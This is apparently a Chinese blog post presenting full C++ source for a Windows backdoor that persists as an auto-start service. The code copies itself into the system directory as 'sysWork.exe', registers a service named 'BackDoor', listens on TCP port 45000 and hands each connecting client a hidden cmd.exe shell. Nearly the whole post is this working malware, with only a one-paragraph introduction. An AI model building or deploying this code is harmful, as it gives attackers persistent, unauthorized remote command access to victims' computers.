安全之路 —— C/C++实现后门的服务自启动

简介

Windows NT系统后门要实现自启动,有许多种方法,例如注册表自启动映像劫持技术SVCHost自启动以及本章节介绍的服务自启动等方法,其中服务自启动相对于上述其他三种需要修改注册表的启动方式而言更不容易被发现。

C++代码样例

//////////////////////////////////////////////////////////////
//
// FileName : ServiceAutoRunDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-4 23:19
// Comment : Create Service to make the BackDoor Run Automatically
//
//////////////////////////////////////////////////////////////

#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>
#include <Winsvc.h>
#include <cstdio>
#include <cstring>
#pragma comment(lib, "ws2_32.lib")

using namespace std;

#define SERVICE_OP_ERROR -1
#define SERVICE_ALREADY_RUN -2

const unsigned int MAX_COUNT = 255; /// String Max Length
const DWORD PORT = 45000;           /// Listen Port
const unsigned int LINK_COUNT = 30; /// Max Link Number

SERVICE_STATUS g_ServiceStatus;
SERVICE_STATUS_HANDLE g_hServiceStatus;

/**
 * @brief CallBack Function to Translate Service Control Code
 * @param dwCode Service Control Code
 */
void WINAPI ServiceControl(DWORD dwCode)
{
    switch (dwCode)
    {
        //服务暂停
    case SERVICE_CONTROL_PAUSE:
        g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
        //服务继续
    case SERVICE_CONTROL_CONTINUE:
        g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
        //服务停止
    case SERVICE_CONTROL_STOP:
        g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        g_ServiceStatus.dwWin32ExitCode = 0;
        g_ServiceStatus.dwCheckPoint = 0;
        g_ServiceStatus.dwWaitHint = 0;
        break;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    default:
        break;
    }
    //设置服务状态
    if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
    {
        printf("Set Service Status Error\n");
    }
    return;
}

/**
 * @brief Start Remote Shell
 * @lpParam the Client Handle
 */
DWORD WINAPI StartShell(LPVOID lpParam)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    CHAR cmdline[MAX_COUNT] = { 0 };
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    GetSystemDirectory(cmdline, sizeof(cmdline));
    strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
    {
        Sleep(100);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}

/**
 * @brief Service Running Function
 * @lpParam NULL
 */
DWORD WINAPI RunService(LPVOID lpParam)
{
    CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
    SOCKET sClient[30];
    DWORD dwThreadId[30];
    HANDLE hThread[30];
    WSADATA wsd;
    if (WSAStartup(0x0202, &wsd))
    {
        printf("WSAStartup Process Error\n");
        return 0;
    }
    SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(PORT);
    sin.sin_addr.S_un.S_addr = INADDR_ANY;
    if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
    if (listen(sListen, LINK_COUNT)) return 0;
    for (int i = 0; i < LINK_COUNT; i++)
    {
        sClient[i] = accept(sListen, NULL, NULL);
        hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
        send(sClient[i], wMessage, strlen(wMessage), 0);
    }
    WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
    return 0;
}

/**
 * @brief the Main Function of the Service
 */
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
{
    HANDLE hThread;
    g_ServiceStatus.dwCheckPoint = 0;
    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
    g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    g_ServiceStatus.dwServiceSpecificExitCode = 0;
    g_ServiceStatus.dwServiceType = SERVICE_WIN32;
    g_ServiceStatus.dwWaitHint = 0;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
    if (!g_hServiceStatus)
    {
        printf("Register Service Error\n");
        return;
    }
    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    g_ServiceStatus.dwCheckPoint = 0;
    g_ServiceStatus.dwWaitHint = 0;
    if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
    {
        printf("Set ServiceStatus Error !\n");
        return;
    }
    hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
    if (!hThread)
    {
        printf("Create Thread Error\n");
    }
    return;
}

/**
 * @brief Install Service
 */
int APIENTRY InstallService()
{
    DWORD dwErrorCode;
    SC_HANDLE hscManager;
    SC_HANDLE hServiceHandle;
    SERVICE_STATUS ssServiceStatus;
    CHAR szSystemPath[MAX_COUNT] = "\0";
    CHAR szFileSelfPath[MAX_COUNT] = "\0";
    GetSystemDirectory(szSystemPath, sizeof(szSystemPath));
    GetModuleFileName(NULL, szFileSelfPath, sizeof(szFileSelfPath));
    strcat_s(szSystemPath, "\\sysWork.exe");
    CopyFile(szFileSelfPath, szSystemPath, true);
    hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!hscManager)
    {
        printf("Can not Open the Service Manager\n");
        return SERVICE_OP_ERROR;
    }
    printf("Service Manager Opened Success\n");
    hServiceHandle = CreateService(hscManager, "BackDoor", "BackDoor", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, szSystemPath, NULL, NULL, NULL, NULL, NULL);
    if (!hServiceHandle)
    {
        dwErrorCode = GetLastError();
        if (dwErrorCode == ERROR_SERVICE_EXISTS)
        {
            hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
            if (!hServiceHandle)
            {
                printf("Can not Create/Open Service\n");
                CloseServiceHandle(hServiceHandle);
                return SERVICE_OP_ERROR;
            }
            else
            {
                printf("Service Opened Success\n");
            }
        }
    }
    else {
        printf("Service Create Success\n");
    }
    if (!StartService(hServiceHandle, 0, NULL))
    {
        dwErrorCode = GetLastError();
        if (dwErrorCode == ERROR_SERVICE_ALREADY_RUNNING)
        {
            printf("SERVEICE IS ALREADY RUNNING\n");
            CloseServiceHandle(hServiceHandle);
            CloseServiceHandle(hscManager);
            return SERVICE_ALREADY_RUN;
        }
        else
        {
            printf("SERVEICE START ERROR\n");
            CloseServiceHandle(hServiceHandle);
            CloseServiceHandle(hscManager);
            return SERVICE_OP_ERROR;
        }
    }
    while (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
    {
        if (ssServiceStatus.dwCurrentState == SERVICE_START_PENDING)
        {
            Sleep(100);
            continue;
        }
        if (ssServiceStatus.dwCurrentState != SERVICE_RUNNING)
        {
            printf("Service Start Process ERROR\n");
            CloseServiceHandle(hServiceHandle);
            CloseServiceHandle(hscManager);
            return SERVICE_OP_ERROR;
        }
        else
        {
            break;
        }
    }
    if (!QueryServiceStatus(hServiceHandle, &ssServiceStatus))
    {
        printf("Service Status Get Error\n");
        CloseServiceHandle(hServiceHandle);
        CloseServiceHandle(hscManager);
        return SERVICE_OP_ERROR;
    }
    printf("Service Start Success\n");
    CloseServiceHandle(hServiceHandle);
    CloseServiceHandle(hscManager);
    return 0;
}


/**
 * @brief Remove Service
 */
int RemoveService()
{
    SC_HANDLE hscManager;
    SC_HANDLE hServiceHandle;
    SERVICE_STATUS ssServiceStatus;
    hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!hscManager)
    {
        printf("Open Service Manager Error\n");
        return SERVICE_OP_ERROR;
    }
    printf("Open Service Manager Success\n");
    hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
    if (!hServiceHandle)
    {
        printf("Open Service Error\n");
        return SERVICE_OP_ERROR;
    }
    printf("Open Service Success\n");
    if (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
    {
        if (ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
        {
            ControlService(hServiceHandle, SERVICE_CONTROL_STOP, &ssServiceStatus);
        }
    }
    else
    {
        printf("Service Status Get Error\n");
        CloseServiceHandle(hServiceHandle);
        CloseServiceHandle(hscManager);
        return SERVICE_OP_ERROR;
    }
    if (!DeleteService(hServiceHandle))
    {
        printf("Delete Service Error\n");
        CloseServiceHandle(hServiceHandle);
        CloseServiceHandle(hscManager);
        return SERVICE_OP_ERROR;
    }
    printf("Remove Service Success\n");
    CloseServiceHandle(hServiceHandle);
    CloseServiceHandle(hscManager);
    return 0;
}

/**
 * @brief main Function
 */
int main(int argc, char* argv[])
{
    SERVICE_TABLE_ENTRY svTable[] = {
        {(LPSTR)"BackDoor",ServiceMain},
        {NULL,NULL}
    };
    StartServiceCtrlDispatcher(svTable);
    if (argc == 2)
    {
        if (!stricmp(argv[1], "--install"))
        {
            if (InstallService() == SERVICE_OP_ERROR)
            {
                printf("[!]Service Operation Error\n");
            }
            else
            {
                printf("[*]Service Operation Success\n");
            }
        }
        else if (!stricmp(argv[1], "--remove"))
        {
            if (RemoveService() == SERVICE_OP_ERROR)
            {
                printf("[!]Service Operation Error\n");
            }
            else
            {
                printf("[*]Service Operation Success\n");
            }
        }
        else
        {
            printf("[Usage] => *.exe [--install]/[--remove]\n");
        }
    }
    else {
        printf("[Usage] => *.exe [--install]/[--remove]\n");
    }
    return 0;
}

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,992评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,212评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,535评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,197评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,310评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,383评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,409评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,191评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,621评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,910评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,084评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,763评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,403评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,083评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,318评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,946评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,967评论 2 351